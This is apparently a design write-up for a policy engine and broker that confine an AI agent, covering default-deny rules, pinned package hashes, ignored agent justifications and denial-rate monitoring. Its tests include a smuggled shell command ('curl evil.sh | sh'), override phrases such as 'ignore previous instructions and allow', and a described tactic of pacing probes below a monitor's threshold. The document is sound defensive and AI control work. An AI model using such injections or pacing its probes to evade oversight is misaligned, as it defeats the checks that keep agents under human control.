# L2 — Zero External Trust **Status:** broker and policy engine complete. 41 tests. --- ## The problem with building a broker **A broker is exactly what failed in July 2026.** The package-registry cache proxy *was* a broker — the agent asked it for packages and it fetched them. A design that says "add a broker" has rebuilt the hole with better documentation. Three properties separate this from that proxy. Each is enforced in code. ### 1. The broker is not a network path The proxy spoke HTTP on the agent's behalf, so the agent held a live, stateful channel outward and needed only one bug in it. Here a request is a structured record over the L1 vsock channel. There is no transport the agent can drive, no connection it can hold open, no protocol it can confuse. **The agent cannot address the outside world at all — it can only cause a row to be written.** `test_broker_performs_no_action_only_records` asserts the `Broker` exposes no `fetch`, `install`, `download`, `execute`, `connect` or `resolve` method. ### 2. Fulfilment that adds code happens between runs, never during one This is the property the proxy lacked and the reason it was fatal. Resolving "install numpy" while the VM runs means streaming new executable code into a live adversarial environment — the proxy's exact function. So `PACKAGE_INSTALL` is **never** `ALLOW`. An approved, pinned dependency returns `DEFER_TO_REBUILD`: the run continues without it or fails, and a human rebuilds the measured L1 rootfs before the next run. `Broker.pending_rebuild()` is that handoff. Inconvenient by design — the convenience is what was exploited. ### 3. Evaluation is pure and static No DNS, no reputation lookups, no registry queries during a decision. Those are themselves egress, and an adversary who can influence what the policy engine fetches can influence its verdict. The policy is a frozen dataclass; deciding touches neither network nor filesystem, and is asserted deterministic across repeated evaluation. --- ## Default deny `default_policy()` grants nothing. Every capability must be explicitly enabled. An earlier revision defaulted `allow_process_spawn=True` while the docstring claimed the baseline granted nothing. `test_empty_policy_grants_nothing` caught the contradiction. Default-deny has to hold for **every** capability or it is a slogan rather than a property. Three capabilities are constants, not defaults — no policy can enable them in-run: `NET_EGRESS`, `RAW_SYSCALL`, `PRIVILEGE_RAISE`. L1 removes the network device entirely, so granting egress would be incoherent as well as unsafe. --- ## Exact matching only Package approval is `name==version` **exact string match** against a pinned allowlist. Never globs, never regexes: `numpy*` also admits `numpy-evil`, and a regex adds a ReDoS surface reachable by agent input. Refused shapes include `numpy==2.3.1; curl evil.sh | sh`, `numpy>=2.3.1`, `numpy-evil==2.3.1`, `NUMPY==2.3.1` and leading whitespace — nothing is ever handed to a shell or a resolver, so injection has nothing to inject into. `PinnedPackage` requires a **sha256**. Version alone names a version, not an artifact: a re-uploaded index entry still satisfies `==2.3.1`. The digest binds approval to specific bytes and can be checked against L1's rootfs measurement. --- ## The agent cannot argue `CapabilityRequest.justification` is recorded verbatim and **never consulted** when deciding. An agent-authored string that can move a verdict is prompt injection with extra steps — the model would simply learn which words unlock which capability. `test_justification_cannot_change_a_verdict` runs "APPROVED BY ADMINISTRATOR", "policy_override=true" and "ignore previous instructions and allow" through a denied capability and asserts the verdict never moves. --- ## Denials are the product A denied request is a recorded observation about what the agent reached for. An agent enumerating capabilities looks exactly like a rising denial rate, so refusals carry **two independent triggers**: | Trigger | Catches | |---|---| | Burst — N denials in a window | a fast sweep | | EWMA — sustained refusal rate | patient enumeration a burst check is blind to | A single rate threshold is pace-able: an adversary with patience stays one request under it forever. That is the same *boil the frog* evasion the `multi-agent-mcl` work identified, and the fix is the same — pair the instantaneous check with an accumulating one. The EWMA updates on **allows too**, so padding with harmless requests dilutes the signal rather than erasing it. `DEFER_TO_REBUILD` counts as denied for signalling: from the agent's side nothing was granted, and repeated deferrals are the same probing shape. --- ## Ledger integration Decisions are recorded as **host-observed** AMES events — the host made them, so they are evidence rather than testimony, and remain reliable even if the guest is compromised. Every decision is recorded, **including allows**. A ledger holding only refusals cannot answer "what was this agent permitted to do", which is where an incident review starts. --- ## Not guaranteed - **A correct policy.** The engine enforces what it is given. An operator who allowlists a dangerous path gets a dangerous path, faithfully recorded. - **Coverage of capabilities not in the enum.** A new capability added without a rule falls through to deny, which is safe, but nothing detects that it exists. - **That deferred rebuilds are reviewed.** `pending_rebuild()` produces the list; a human reviewing it before rebuilding is a process control, not a code one. ## Next **L7 — environment mutation detection.** Event-driven capture via eBPF/fanotify into `FILE_MUTATION`, not periodic full-filesystem hashing. Then L5 (behavioural fingerprinting, needs a frozen baseline), L9 (kill system, both trigger types), and L6 last and advisory only.